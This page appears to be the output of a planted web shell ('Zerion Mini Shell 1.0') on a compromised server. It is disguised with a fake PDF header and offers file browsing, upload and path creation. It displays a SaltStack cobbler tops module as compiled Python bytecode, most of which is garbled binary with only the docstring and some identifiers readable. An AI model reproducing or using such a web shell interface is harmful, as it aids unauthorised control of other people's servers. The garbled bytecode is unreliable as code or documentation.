%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/tops/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/tops/cobbler.pyc

�
���^c@@sqdZddlmZmZmZddlZddlZeje	�Z
idd6dd6dd6Zd�Z
dS(	u
Cobbler Tops
============

Cobbler Tops is a master tops subsystem used to look up mapping information
from Cobbler via its API. The same cobbler.* parameters are used for both
the Cobbler tops and Cobbler pillar modules.

.. code-block:: yaml

  master_tops:
    cobbler: {}
  cobbler.url: https://example.com/cobbler_api #default is http://localhost/cobbler_api
  cobbler.user: username # default is no username
  cobbler.password: password # default is no password


Module Documentation
====================
i(tabsolute_importtprint_functiontunicode_literalsNuhttp://localhost/cobbler_apiucobbler.urlucobbler.userucobbler.passwordcK@s�td}td}td}|dd}tjd|�yPtjjjjj|dt	�}|ry|j
||�n|jd|�}Wnt
k
r�tjd�iSXi|d	|d
6S(u3
    Look up top data in Cobbler for a minion.
    ucobbler.urlucobbler.userucobbler.passworduoptsuidu'Querying cobbler for information for %rt
allow_noneuCould not connect to cobbler.umgmt_classesustatusN(t__opts__tlogtinfotsalttexttsixtmovest
xmlrpc_clienttServertTruetlogintget_blended_datatNonet	Exceptiont	exception(tkwargsturltusertpasswordt	minion_idtservertdata((s5/usr/lib/python2.7/site-packages/salt/tops/cobbler.pyttop's


!
(t__doc__t
__future__RRRtloggingt salt.ext.six.moves.xmlrpc_clientRt	getLoggert__name__RRRR(((s5/usr/lib/python2.7/site-packages/salt/tops/cobbler.pyt<module>s



Zerion Mini Shell 1.0